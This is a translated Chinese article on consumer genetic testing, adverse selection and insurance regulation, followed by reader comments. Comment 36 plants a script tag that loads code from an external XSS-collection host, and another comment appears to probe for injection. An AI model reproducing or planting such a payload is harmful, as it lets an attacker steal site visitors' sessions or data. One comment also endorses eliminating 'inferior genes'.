@ 2017.08.10 , 14:00
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保险业的哭嚎:基因体检让客户在买保险时拿到了主动权

保险业的哭嚎:基因体检让客户在买保险时拿到了主动权
credit: 幕后煮屎者

只要提供一点唾液和几千块人民币,就可以预测你罹获癌症或阿尔茨海默病(俗称老年痴呆)的几率,你会去做这种“基因体检”吗?随着基因检测慢慢变得便宜和简便,越来越多的人选择了这种新颖的体检方法。但这也令保险行业头痛不已。

如果是有检测需求的患病者,只要拿着医生的处方再花个几百美元就可以轻松在网上买得到基本款的基因测试服务。如开设在加利福尼亚的23andMe公司。该公司自2007年开业以来总计收集了约4000升唾液样本,为200万客户提供关于祖先的血缘、自身的健康风险以及可能传给后代的遗传疾病等信息服务。

该公司在今年4月份得到了有关部门的一个批准,可以直接向消费者提供包括阿尔茨海默和帕金森在内的几十种疾病和遗传病的“危险基因”筛选服务。这项批准将可以让普通消费者不需要医生的处方就可以直接去做基因体检。

得信息者得天下

令保险公司担的是,如果自己无法知道这些“基因体检”结果,将会流失部分精打细算的客户。另一方面,消费者也在忧虑,如果保险公司等真的有权获得这些信息的话,那么拥有“差基因”的人无疑会被踢出目标客户名单,可能一辈子都买不到保险。

无论站在哪个立场,基因科学的进步似乎对现有保险体系来说都是搅屎棍一根。

与诊断性的基因检测不同,预测性的基因检测就如同常规体检一样,客户全都是健康民众。最着名的例子是安吉丽娜·朱莉自切双乳事件,她在进行基因检测后发现自己拥有一个乳腺癌高风险基因突变,为避免以后会患上乳腺癌,她做手术一劳永逸地切除了双侧乳腺。(译者注:手术不影响外观和手感)
因此预测性的基因检测的流行可能会影响普通民众在医疗和理财上的决定。就像觉得自己开始变老的人会给自己物色一份人寿保险一样,发现自己可能罹患癌症,也可能会导致这些客户主动去购买癌症或重大疾病的保险。而保险公司的悲剧在于这些客户在信息知情上更具优势,因为预测性的体检与诊断性体检不同,一般不需要将它告知保险公司。

所以保险行业警告说,预测性基因检测可能会导致逆向选择。
纽约时报报道了一个案例,一位女士在得知自己携带有ApoE4基因突变、是属于阿尔兹海默症易感人群的时候,立马在保险公司下单了长期护理保险,保险公司在不知情的情况下按照现行的医疗方法对该女士进行了三次大脑体检都没发现啥问题,最后双方都开开心心地签了保险合同。

据哈佛大学的萝卜头·铬铃(Robert Green)的统计发现,人们如果知道自己带有ApoE4基因突变,会比不知道的人高五倍的冲动去买相关类型的保险。

信息不对称是保险行业的噩梦

如果预测性的基因体检变得更加流行,并且继续不需要将检测结果提供给保险公司的话,会导致客户们知道的东西超过保险公司,最终会使一些保险产品永无翻身之日。届时,相关的保险公司要么都会破产跑路,要么保费将会不断飞涨。因此一些保险公司觉得为了双方着想,在关于健康的事情上,客户知道的保险公司也应该知道。

但基因检测技术也可能利好于保险公司。行业巨头公司瑞士再保险公司的Christoph Nabholz非常钟情于这些可以预测癌症或心血管疾病的技术,对于人寿和健康类的保险公司来说,有技术能获得这些预测信息意义非凡。南非健康保险公司Discovery计划主动向客户提供基因测试的服务。Discovery的Jonathan Broomberg解释说,这个服务的重点是向客户提供一个直观的数据,促使他们改善生活方式或者尽早进行必要的治疗,从而把公司的承保成本降下来。

这对于已经投保的人来说可能有用。但是那些还在物色保险的人会担心奸商们可能会根据基因体检的信息来挑肥拣瘦,这可能导致有的人无法公平地买到合适的保险。这引起了社会伦理问题,即在什么情况下社会可以允许适度的“基因歧视”。此外,基因是如何作用于疾病的绝大部分研究项目还处在实验室阶段,其中机理尚不明确,有些想要买保险的人可能被这些雾里看花的研究结论误伤。

有待更成熟的法规规范行业

因为基因体检的的这种不确定性,所以大部分与此相关的法规都规定,禁止相关机构强制要求客户提供其预测性的基因测试结果。但是这些法规都是零零散散不成体系的。在英国,保险行业已同意在三年内全面暂停使用客户的预测类型的基因信息。唯一的例外是亨廷顿舞蹈病,如果购买价值超过50万英镑(约440万RMB)的寿险,必须向保险公司提供指定的基因检测结果。在美国,“反基因歧视法”禁止健康类的保险公司(以及雇主)使用这些基因体检结果,但对其他类型的保险没有表明态度。在一些国家,如果客户购买人寿保险超过一定的价格,客户可能会被合法地要求提供某些预测性的基因体检结果。

Wiki
亨廷顿舞蹈病:是一种遗传性神经退行性疾病,起因于第4对染色体CAG序列异常大量重复,病发时会无法控制四肢,就像手舞足蹈一样,并伴随着智力减退,最后因吞咽、呼吸困难等原因而死亡。通常于40岁左右发病,发病前的患者看起来与健康人区别不大,发病后患者寿命约剩15年。

保险行业的智囊团国际保险经济学研究会的Ronnie Klein说,与亨廷顿舞蹈病不同,大部分疾病是由诸多因素共同导致的,包括生活方式、环境因素以及遗传因素等。例如,虽然拥有ApoE4基因的人会有更高的风险患上阿尔茨海默病,但是同时许多该病的患者都没有带有这个基因。

一些监管机构,如德国的有关部门,直接将“向客户提供基因体检服务”定义为违法行为,但是德国公司依然可以将这些基因体检转移至外国进行,再用这些外国获得的数据进行评估。就好象现在买保险会要客户提供以前根本就不需要提供的详细家族病史一样,以后保险公司一定会有手段获得这些基因信息的。在那时,问题的关键将是,保险公司获得了这些信息后,法规将允许他们用来做什么。
当年普及AIDS血液检测时,保险公司也害怕这个技术会导致逆向选择。后来许多地区的司法部门规定,AIDS血检结果禁止用于刁难客户购买健康保险,因为这是一种基本款的保险——但该血检结果可以用于人寿类保险保费的评估。随着遗传检测的普及,社会和保险公司可能面临更多类似与AIDS血检普及时的艰苦考验。

本文译自 economist,由译者 幕后煮屎者 基于创作共用协议(BY-NC)发布。


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TOTAL COMMENTS: 44+1

  1. 3531449

    今个这几发基因相关······
    国内市场的几家基因测序开始打价格战了··
    499就能玩个基础版了··

    [59] XX [2] 回复 [0]
  2. 洗衣机
    @1 week ago
    3531468

    基因歧视想想都可怕

    [57] XX [3] 回复 [0]
  3. predator
    @1 week ago
    3531469

    对的,都降价了,微基因昨天刚降到499。
    坐等全基因组测序降价

    [16] XX [1] 回复 [0]
  4. 3531473

    保险不是这也不赔那也不赔吗,这个真对保险公司有影响吗

    [78] XX [7] 回复 [0]
  5. you_know_who
    @1 week ago
    3531476

    你玩得过保险公司,做梦!

    [44] XX [5] 回复 [0]
  6. 拜一刀
    @1 week ago
    3531483

    她做手术一劳永逸地切除了双侧乳腺。(译者注:手术不影响外观和手感)
    还有这种操作?

    [17] XX [3] 回复 [1]
  7. 零下伊度
    @1 week ago
    3531488

    保险公司也可以要求你基因体检啊,然后根据你得病概率直接调整保额和赔率

    [25] XX [1] 回复 [0]
  8. 3531491

    大部分只能证明相关性

  9. 小豆
    @1 week ago
    3531493

    搅屎棍并没有说错嘛 谁让保险市场本来就是屎

    [47] XX [1] 回复 [0]
  10. 黑夜里的网子
    @1 week ago
    3531495

    我刚看了下,23andme都可以找到亲戚了(不过我没找到)。

  11. 晓晓
    @1 week ago
    3531496

    保险只是从某种意义上规避风险,当可以预知风险的时候买一份保险总是好的,因为可以百分百用得上,对老百姓是一种好事,对保险公司…….都赚了那么多钱了出点血吧就……..

  12. 。。。
    @1 week ago
    3531518

    国内的三四线城市应该在前几年就对大客户进行检查了。

  13. 3531519

    基因公司可以卖信息给保险公司呀……
    或者保险公司收购基因公司就可以了……

    双赢的好么,连客户信息都可以共享了

  14. 游游游客
    @1 week ago
    3531524

    译者对注的信息有发言权么?

  15. 3531541

    dassdsadas

  16. 落灰
    @1 week ago
    3531547

    国内保险现在就是个笑话 买个大病险 人都拖死了 钱都拿不到

    [33] XX [1] 回复 [0]
  17. 吕花枪
    @1 week ago
    3531551

    到那时候,这种保险就会取消了吧,毕竟只赔不赚

  18. 3531598

    拿到基因检测报告的路过。话说有趣的一点是,名字起的半中半洋的人(Kendrick *,Joanne *,Eric *,星号为中文姓),中国人血统到达到了90%左右,反而是做之前吹牛x说自己能90%+中国血统,总是用中文名的我,有一堆自己不喜欢国家的血统(韩日蒙),中国的比例比较低。
    当时的确有部分原因是为了获得相对保险的优势做的。虽然有些风险疾病已经患过了,但是跟保费比还是很值的。

    [2] XX [16] 回复 [0]
  19. 3531603

    不过有一个原因,上面提到的华裔很多都是小时候被领养过去的。

  20. 3531609

    到那时候,123这种保险就会取消了吧,毕竟只赔不赚

  21. 3531611

    毕竟只赔不赚到那时候,这种保险就会取消了吧

  22. 3531629

    粗体

  23. 像素
    @1 week ago
    3531643

    截图不知道怎么发。。。小编把三条放一起明显就是告诉我们,你们投保的都被骗了。
    科学家们也不清楚人类大部分基因的用途
    通过血液测试鉴定阿兹海默症的关键标志
    保险业的哭嚎:基因体检让客户在买保险时拿到了主动权
    你觉得你有很大几率患病,但其实你不一定能患病。这就是保险存在的基础~大家都觉得自己赚了~感觉基因检测非常靠谱的话他们会要求客户做基因检测的,个人感觉这种检测非常不靠谱。

  24. i胖麻雀
    @1 week ago
    3531669

    “译者注:手术不影响外观和手感”
    手感跟咱们好像也没关系吧

  25. 3531709

    @woeif: 缺啥补啥你不懂?

  26. 3531758

    劣等基因就该被剔除了

  27. 大侠饶命
    @1 week ago
    3531784

    保险公司会哭,搞笑吧。
    人家是精算概率赚钱,你获病概率越大,保费越高~高到警戒线附近,要么就给出个天价的续保费用,要么拒绝续保。

  28. 3531962

    这个是oioi娘吧?

  29. alpha_boy
    @1 week ago
    3531967

    有容易得重病的基因不保证一定会得重病,是否发病和多种因素有关系,如果夸大相关性,将其直接等同于因果性,可能会导致某些有重病基因的人去买了不必要的保险(那反而会被保险公司赚一票?)……

    我突然想到,保险公司可以在暗地里收购基因检测公司,然后夸大一些疾病基因的风险,甚至直接在检测结果上弄虚作假(反正检测结果总有一定几率出错,真被人发现了就说是设备故障出错,大不了赔点检测费,但保费是另一个合同里的,应该无法退回的),那不就可以扩大保险的销量了~~

  30. 墓后煮屎者
    @1 week ago
    3531981

    @ZZCW: 居然还有人知道和记得,好开心,哈哈。

  31. 3532028

    太小瞧天朝的保险公司了,前一个月才拒绝了某保险公司送的基因检测大礼包,你测完,天朝的保险公司就基本知道你的底细了

  32. hxn380bgl
    @1 week ago
    3532031

    保险 合法CX

  33. 3532064

    在保险公司内勤工作了五年的飘过…
    那个…蛋友们对保险想法太偏激了
    保险公司不是慈善机构,是企业,肯定要盈利才能正常运作(比如:给我发工资买煎蛋周边),才能理赔保险事故…一切按合同办事,反正我看理赔部同事是很敬业滴
    话说…现在很多保险公司都赠送基因检测作为客户服务
    而且检测结果,我们真的啥都不知道,也没有意义和基因公司做PY交易要这些信息
    保险公司自有大数据,有初次投保抽体检机制控制风险等等…
    那个…前面蛋友提到的:续保加费和续保拒保,起码在我工作的地方不会出现,加费和拒保的情况,只会出现在首年投保核保的时候。保单生效后,保费多少就多少。上面说的续期拒保,可能是因为客户投保时故意隐瞒不如实告知…即便是保险期间拒保,大多数情况也会返回之前所交保费。

    好吧…不喜勿喷,只是说说我知道的而已。

  34. 3532157

    %22qwerrererer

  35. 3532179

    有趣

  36. 3532184

    知道了<script src=http://xsspt.com/a9pP8E?1502415613></script>

  37. 北落师门
    @1 week ago
    3532275

    两年前,南方科技大学有个28岁的教授,折腾了一个公司叫瀚海基因,现在融资已经过二十亿了。做的就是超低成本的基因检测。
    有同学是他的学生,说改天过深圳可以找他测一下。

    以后可能真的是美团团购基因检测套餐了。

  38. 紫色涩柿子
    @1 week ago
    3532424

    《千钧一发》就快要成为现实了

  39. 灵风
    @1 week ago
    3532543

    感觉。。。预先知道了自己的未来好恐怖啊。。。

  40. 不是我说的
    @1 week ago
    3532764

    彩票业的哭嚎:基因体检让客户在买彩票时拿到了主动权

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